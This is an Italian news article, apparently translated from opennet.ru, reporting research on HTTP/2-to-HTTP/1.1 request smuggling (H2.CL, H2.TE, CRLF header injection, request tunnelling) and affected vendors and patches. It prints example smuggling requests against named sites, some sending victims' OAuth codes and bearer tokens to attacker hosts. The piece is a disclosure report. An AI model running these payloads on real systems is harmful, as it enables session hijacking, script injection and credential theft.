I sistemi web in cui il frontend accetta connessioni tramite HTTP/2 e le trasmette al backend tramite HTTP/1.1 sono stati soggetti a una nuova variante dell'attacco "HTTP Request Smuggling", che permette, attraverso l'invio di richieste cliente appositamente formattate, di infiltrarsi nel contenuto delle richieste di altri utenti elaborate nello stesso flusso tra frontend e backend. L'attacco può essere utilizzato per inserire codice JavaScript dannoso in una sessione con un sito legittimo, aggirare i sistemi di restrizione degli accessi e intercettare i parametri di autenticazione.
La problematica riguarda i web proxy, i bilanciatori di carico, gli web accelerator, i sistemi di distribuzione dei contenuti e altre configurazioni in cui le richieste vengono reindirizzate secondo il modello frontend-backend. L'autore della ricerca ha dimostrato la possibilità di un attacco su sistemi come Netflix, Verizon, Bitbucket, Netlify CDN e Atlassian, ricevendo 56.000 dollari nei programmi di bounty per la scoperta di vulnerabilità. La presenza del problema è stata confermata anche nei prodotti F5 Networks. Parte del problema interessa mod_proxy nel server http Apache (CVE-2021-33193), la correzione è attesa nella versione 2.4.49 (gli sviluppatori sono stati informati del problema all'inizio di maggio e hanno avuto 3 mesi per risolverlo). In nginx, la possibilità di specificare simultaneamente gli header "Content-Length" e "Transfer-Encoding" è stata bloccata nell'ultima versione (1.21.1). I mezzi per condurre attacchi sono già stati aggiunti agli strumenti di Burp e sono disponibili sotto forma di estensione Turbo Intruder.
Il principio di funzionamento del nuovo metodo di infiltrazione delle richieste nel traffico è simile alla vulnerabilità scoperta dallo stesso ricercatore due anni fa, ma limitata ai frontend che accettano richieste tramite HTTP/1.1. Ricordiamo che nel modello frontend-backend, le richieste dei clienti vengono ricevute da un nodo aggiuntivo — il frontend — che stabilisce una connessione TCP a lungo termine con il backend, responsabile dell'elaborazione diretta delle richieste. Attraverso questa connessione comune vengono solitamente trasmesse richieste di diversi utenti, che seguono in una catena una dopo l'altra, separandosi tramite i mezzi del protocollo HTTP.
L'attacco classico "HTTP Request Smuggling" si basa sul fatto che i frontend e i backend interpretano in modo diverso l'uso degli header HTTP "Content-Length" (che definisce la dimensione totale dei dati nella richiesta) e "Transfer-Encoding: chunked" (che consente di inviare dati a pezzi). Ad esempio, se un frontend supporta solo "Content-Length", ma ignora "Transfer-Encoding: chunked", un attaccante può inviare una richiesta in cui sono presenti contemporaneamente gli header "Content-Length" e "Transfer-Encoding: chunked", ma la dimensione specificata in "Content-Length" non corrisponde alla dimensione della catena chunked. In questo caso, il frontend elaborerà e reindirizzerà la richiesta secondo "Content-Length", mentre il backend si aspetterà il completamento del blocco basato su "Transfer-Encoding: chunked", e la parte restante della richiesta dell'attaccante si troverà all'inizio di una richiesta estranea inviata successivamente.
A differenza del protocollo testuale HTTP/1.1, il cui parsing avviene a livello di righe, HTTP/2 è un protocollo binario e gestisce blocchi di dati di dimensioni precedentemente determinate. In HTTP/2 vengono utilizzati pseudo-header che corrispondono agli header HTTP standard. Quando interagisce con il back-end tramite il protocollo HTTP/1.1, il front-end traduce questi pseudo-header in analoghi header HTTP/1.1. Il problema è che il back-end prende decisioni sul parsing del flusso basandosi già sugli header HTTP impostati dal front-end, senza avere informazioni sui parametri della richiesta originale.
Inclusi anche sotto forma di pseudo-header possono essere inviati i valori "content-length" e "transfer-encoding", nonostante in HTTP/2 non vengano utilizzati, poiché la dimensione di tutti i dati è definita in un campo separato. Tuttavia, durante il processo di conversione della richiesta da HTTP/2 a HTTP/1.1, questi header vengono trasferiti e possono confondere il backend. Si distinguono due varianti principali di attacco: H2.TE e H2.CL, in cui il backend viene ingannato da valori errati di transfer-encoding o content-length, che non corrispondono alla reale dimensione del corpo della richiesta ricevuta dal frontend tramite il protocollo HTTP/2.
Come esempio di attacco H2.CL viene indicato un valore non corretto nella pseudo-intestazione content-length durante l'invio di una richiesta HTTP/2 a Netflix. Questa richiesta porta all'aggiunta di un'intestazione HTTP equivalente Content-Length quando ci si rivolge al backend tramite HTTP/1.1, ma poiché il valore in Content-Length è inferiore a quello reale, parte dei dati alla fine viene elaborata come l'inizio di una richiesta successiva.
Ad esempio, la richiesta HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Porterà all'invio al backend della richiesta: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Poiché Content-Length ha un valore di 4, il backend percepirà come corpo della richiesta solo "abcd", mentre la parte restante "GET /n HTTP/1.1…" sarà trattata come l'inizio di una richiesta successiva associata a un altro utente. Di conseguenza, si verificherà una dissincronizzazione del flusso e in risposta alla richiesta successiva verrà fornito il risultato dell'elaborazione della richiesta fraudolenta. Nel caso di Netflix, l'indicazione di un host esterno nell'intestazione "Host:" nella richiesta fraudolenta ha portato all'invio al client della risposta "Location: https://02.rs?x.netflix.com/n" e ha permesso di trasmettere al client contenuto arbitrario, incluso l'esecuzione del proprio codice JavaScript nel contesto del sito Netflix.
La seconda variante di attacco (H2.TE) è legata all'inserimento dell'intestazione "Transfer-Encoding: chunked". L'uso dell'intestazione pseudo "transfer-encoding" in HTTP/2 è vietato dalla specifica e le richieste che la contengono dovrebbero essere trattate come non valide. Nonostante ciò, alcune implementazioni front-end non considerano questo requisito e permettono l'uso dell'intestazione pseudo "transfer-encoding" in HTTP/2, che viene convertita in un'intestazione equivalente HTTP. In presenza dell'intestazione "Transfer-Encoding", il backend potrebbe considerarla più prioritaria ed eseguire l'analisi dei dati a parti in modalità "chunked" utilizzando blocchi di dimensioni diverse nel formato "{dimensione}\r\n{blocco}\r\n{dimensione}\r\n{blocco}\r\n0", nonostante la divisione iniziale per dimensione totale.
La presenza di una vulnerabilità simile è stata dimostrata con l'esempio dell'azienda Verizon. In questo caso, il problema riguardava il portale di autenticazione e il sistema di gestione dei contenuti, che è utilizzato anche su siti come Huffington Post e Engadget. Ad esempio, la richiesta del cliente tramite HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Portava alla trasmissione al backend della richiesta HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Il backend, da parte sua, ignorava l'intestazione "Content-Length" ed eseguiva la separazione nello stream basandosi su "Transfer-Encoding: chunked". In pratica, l'attacco ha permesso di reindirizzare le richieste degli utenti verso il proprio sito, compreso il furto di richieste legate all'autenticazione OAuth, i cui parametri erano visibili nell'intestazione Referer, e anche di simulare una sessione di autenticazione e avviare l'invio delle credenziali dell'utente al host dell'attaccante. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Per attaccare le implementazioni di HTTP/2 che non consentono di specificare l'intestazione pseudo "transfer-encoding", è stata proposta un'altra metodologia, legata all'inserimento dell'intestazione "Transfer-Encoding" attraverso il suo attacco ad altre intestazioni pseudo, separandole con caratteri di nuova riga (nella conversione in HTTP/1.1 in tali casi vengono creati due intestazioni HTTP separate).
Ad esempio, i problemi sopra menzionati hanno colpito Atlassian Jira e Netlify CDN (utilizzato per servire la homepage di Mozilla in Firefox). In particolare, la richiesta HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
ha portato all'invio al backend della richiesta HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Un'altra opzione per sostituire l'intestazione "Transfer-Encoding" è stata allegarla al nome di un altro pseudo-intestazione o a una stringa con il metodo di richiesta. Ad esempio, quando si interagisce con Atlassian Jira, il nome dello pseudo-intestazione "foo: bar\r\ntransfer-encoding" con valore "chunked" portava all'aggiunta delle intestazioni HTTP "foo: bar" e "transfer-encoding: chunked", mentre la specifica nel pseudo-intestazione ":method" del valore "GET \/ HTTP\/1.1\r\nTransfer-encoding: chunked" veniva tradotta in "GET \/ HTTP\/1.1\r\ntransfer-encoding: chunked".
Il ricercatore che ha individuato il problema ha anche proposto una tecnica di tunneling delle richieste per attaccare i front-end in cui per ogni Indirizzi IP viene stabilita una connessione separata con il backend e il traffico di diversi utenti non viene mescolato. La tecnica proposta non consente di intromettersi nelle richieste di altri utenti, ma permette di inquinare la cache comune, influenzando l'elaborazione di altre richieste, e consente di eseguire l'inserimento di intestazioni HTTP interne utilizzate per trasmettere informazioni di servizio dal front-end al backend (ad esempio, durante l'autenticazione sul front-end, in tali intestazioni possono essere trasmesse informazioni sull'utente corrente al backend). Come esempio di applicazione del metodo nella pratica, grazie all'inquinamento della cache è stato possibile ottenere il controllo delle pagine nel servizio Bitbucket.
Fonte: opennet.ru
